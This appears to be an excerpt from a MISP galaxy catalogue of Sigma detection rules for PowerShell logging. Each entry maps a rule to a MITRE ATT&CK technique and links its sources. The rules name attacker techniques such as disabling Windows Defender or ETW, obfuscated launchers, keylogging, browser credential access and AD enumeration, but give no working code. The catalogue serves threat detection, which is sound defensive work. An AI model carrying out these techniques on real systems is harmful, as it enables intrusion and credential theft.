Disable-WindowsOptionalFeature Command PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16656. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: *misp-galaxy:sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock"*

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16657. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remotefxvgpudisablement_abuse.yml

Powershell Detect Virtualization Environment

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox

The tag is: *misp-galaxy:sigma-rules="Powershell Detect Virtualization Environment"*

View relationships graph

Powershell Detect Virtualization Environment has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

Table 16658. Table References

Links
https://techgenix.com/malicious-powershell-scripts-evade-detection/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml

Invoke-Obfuscation Via Stdin - Powershell

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - Powershell"*

View relationships graph

Invoke-Obfuscation Via Stdin - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16659. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml

AADInternals PowerShell Cmdlets Execution - PsScript

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

The tag is: *misp-galaxy:sigma-rules="AADInternals PowerShell Cmdlets Execution - PsScript"*

Table 16660. Table References

Links
https://github.com/Gerenios/AADInternals
https://o365blog.com/aadinternals/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_aadinternals_cmdlets_execution.yml

Suspicious Process Discovery With Get-Process

Get the processes that are running on the local computer.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Discovery With Get-Process"*

View relationships graph

Suspicious Process Discovery With Get-Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 16661. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7.4
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml

Disable Powershell Command History

Detects scripts or commands that disabled the Powershell command history by removing psreadline module

The tag is: *misp-galaxy:sigma-rules="Disable Powershell Command History"*

View relationships graph

Disable Powershell Command History has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16662. Table References

Links
https://twitter.com/DissectMalware/status/1062879286749773824
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml

Replace Desktop Wallpaper by Powershell

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper

The tag is: *misp-galaxy:sigma-rules="Replace Desktop Wallpaper by Powershell"*

View relationships graph

Replace Desktop Wallpaper by Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

Table 16663. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml

PowerShell ShellCode

Detects Base64 encoded Shellcode

The tag is: *misp-galaxy:sigma-rules="PowerShell ShellCode"*

View relationships graph

PowerShell ShellCode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16664. Table References

Links
https://twitter.com/cyb3rops/status/1063072865992523776
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml

PowerShell PSAttack

Detects the use of PSAttack PowerShell hack tool

The tag is: *misp-galaxy:sigma-rules="PowerShell PSAttack"*

View relationships graph

PowerShell PSAttack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16665. Table References

Links
https://adsecurity.org/?p=2921
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml

Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript"*

Table 16666. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_nteventlogfile_usage.yml

Powershell MsXml COM Object

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

The tag is: *misp-galaxy:sigma-rules="Powershell MsXml COM Object"*

View relationships graph

Powershell MsXml COM Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16667. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)
https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml

Disable of ETW Trace - Powershell

Detects usage of powershell cmdlets to disable or remove ETW trace sessions

The tag is: *misp-galaxy:sigma-rules="Disable of ETW Trace - Powershell"*

View relationships graph

Disable of ETW Trace - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 16668. Table References

Links
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml

Code Executed Via Office Add-in XLL File

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs

The tag is: *misp-galaxy:sigma-rules="Code Executed Via Office Add-in XLL File"*

View relationships graph

Code Executed Via Office Add-in XLL File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"

Table 16669. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml

Suspicious Get Local Groups Information - PowerShell

Detects the use of PowerShell modules and cmdlets to gather local group information. Adversaries may use local system permission groups to determine which groups exist and which users belong to a particular group such as the local administrators group.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get Local Groups Information - PowerShell"*

View relationships graph

Suspicious Get Local Groups Information - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16670. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml

Powershell Store File In Alternate Data Stream

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.

The tag is: *misp-galaxy:sigma-rules="Powershell Store File In Alternate Data Stream"*

View relationships graph

Powershell Store File In Alternate Data Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16671. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml

Suspicious Start-Process PassThru

Powershell use PassThru option to start in background

The tag is: *misp-galaxy:sigma-rules="Suspicious Start-Process PassThru"*

View relationships graph

Suspicious Start-Process PassThru has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 16672. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml

Tamper Windows Defender - ScriptBlockLogging

Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

The tag is: *misp-galaxy:sigma-rules="Tamper Windows Defender - ScriptBlockLogging"*

View relationships graph

Tamper Windows Defender - ScriptBlockLogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16673. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://bidouillesecurity.com/disable-windows-defender-in-powershell/
https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_set_mp.yml

Access to Browser Login Data

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

The tag is: *misp-galaxy:sigma-rules="Access to Browser Login Data"*

View relationships graph

Access to Browser Login Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 16674. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml

Potential Keylogger Activity

Detects PowerShell scripts that contains reference to keystroke capturing functions

The tag is: *misp-galaxy:sigma-rules="Potential Keylogger Activity"*

View relationships graph

Potential Keylogger Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

Table 16675. Table References

Links
https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content
https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content
https://twitter.com/ScumBots/status/1610626724257046529
https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml

Suspicious Invoke-Item From Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: *misp-galaxy:sigma-rules="Suspicious Invoke-Item From Mount-DiskImage"*

View relationships graph

Suspicious Invoke-Item From Mount-DiskImage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 16676. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso
https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml

AD Groups Or Users Enumeration Using PowerShell - ScriptBlock

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

The tag is: *misp-galaxy:sigma-rules="AD Groups Or Users Enumeration Using PowerShell - ScriptBlock"*

View relationships graph

AD Groups Or Users Enumeration Using PowerShell - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16677. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml

Winlogon Helper DLL

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.

The tag is: *misp-galaxy:sigma-rules="Winlogon Helper DLL"*

View relationships graph

Winlogon Helper DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 16678. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml

Potential In-Memory Execution Using Reflection.Assembly

Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory

The tag is: *misp-galaxy:sigma-rules="Potential In-Memory Execution Using Reflection.Assembly"*

View relationships graph

Potential In-Memory Execution Using Reflection.Assembly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"

Table 16679. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dotnet_assembly_from_file.yml

Invoke-Obfuscation VAR+ Launcher - PowerShell

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - PowerShell"*

View relationships graph

Invoke-Obfuscation VAR+ Launcher - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16680. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml

Potential Unconstrained Delegation Discovery Via Get-ADComputer - ScriptBlock

Detects the use of the "Get-ADComputer" cmdlet in order to identify systems which are configured for unconstrained delegation.

The tag is: *misp-galaxy:sigma-rules="Potential Unconstrained Delegation Discovery Via Get-ADComputer - ScriptBlock"*

View relationships graph

Potential Unconstrained Delegation Discovery Via Get-ADComputer - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

Table 16681. Table References

Links
https://pentestlab.blog/2022/03/21/unconstrained-delegation/
https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_unconstrained_delegation_discovery.yml

Remove Account From Domain Admin Group

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

The tag is: *misp-galaxy:sigma-rules="Remove Account From Domain Admin Group"*

View relationships graph

Remove Account From Domain Admin Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 16682. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml

Live Memory Dump Using Powershell

Detects usage of a PowerShell command to dump the live memory of a Windows machine

The tag is: *misp-galaxy:sigma-rules="Live Memory Dump Using Powershell"*

View relationships graph

Live Memory Dump Using Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 16683. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml

DSInternals Suspicious PowerShell Cmdlets - ScriptBlock

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

The tag is: *misp-galaxy:sigma-rules="DSInternals Suspicious PowerShell Cmdlets - ScriptBlock"*

View relationships graph

DSInternals Suspicious PowerShell Cmdlets - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16684. Table References

Links
https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dsinternals_cmdlets.yml

Invoke-Obfuscation Via Use Rundll32 - PowerShell

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - PowerShell"*

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16685. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml

Invoke-Obfuscation Via Use MSHTA - PowerShell Module

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA - PowerShell Module"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16686. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml

AD Groups Or Users Enumeration Using PowerShell - PoshModule

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

The tag is: *misp-galaxy:sigma-rules="AD Groups Or Users Enumeration Using PowerShell - PoshModule"*

View relationships graph

AD Groups Or Users Enumeration Using PowerShell - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16687. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml

Invoke-Obfuscation Via Use Clip - PowerShell Module

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - PowerShell Module"*

View relationships graph

Invoke-Obfuscation Via Use Clip - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16688. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml

Alternate PowerShell Hosts - PowerShell Module

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

The tag is: *misp-galaxy:sigma-rules="Alternate PowerShell Hosts - PowerShell Module"*

View relationships graph

Alternate PowerShell Hosts - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16689. Table References

Links
https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml

Potential Active Directory Enumeration Using AD Module - PsModule

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: *misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - PsModule"*

Table 16690. Table References

Links

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
https://twitter.com/cyb3rops/status/1617108657166061568?s=20
https://github.com/samratashok/ADModule
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module"*

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16691. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml

Invoke-Obfuscation CLIP+ Launcher - PowerShell Module

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - PowerShell Module"*

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16692. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml

Suspicious Get Information for SMB Share - PowerShell Module

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get Information for SMB Share - PowerShell Module"*

View relationships graph

Suspicious Get Information for SMB Share - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16693. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml

Suspicious Computer Machine Password by PowerShell

The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.

The tag is: *misp-galaxy:sigma-rules="Suspicious Computer Machine Password by PowerShell"*

View relationships graph

Suspicious Computer Machine Password by PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16694. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml

HackTool - Evil-WinRm Execution - PowerShell Module

Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.

The tag is: *misp-galaxy:sigma-rules="HackTool - Evil-WinRm Execution - PowerShell Module"*

Table 16695. Table References

Links
https://github.com/Hackplayers/evil-winrm/blob/7514b055d67ec19836e95c05bd63e7cc47c4c2aa/evil-winrm.rb
https://github.com/search?q=repo%3AHackplayers%2Fevil-winrmshell.run%28&type=code[https://github.com/search?q=repo%3AHackplayers%2Fevil-winrmshell.run%28&type=code]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_hktl_evil_winrm_execution.yml

Use Get-NetTCPConnection - PowerShell Module

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

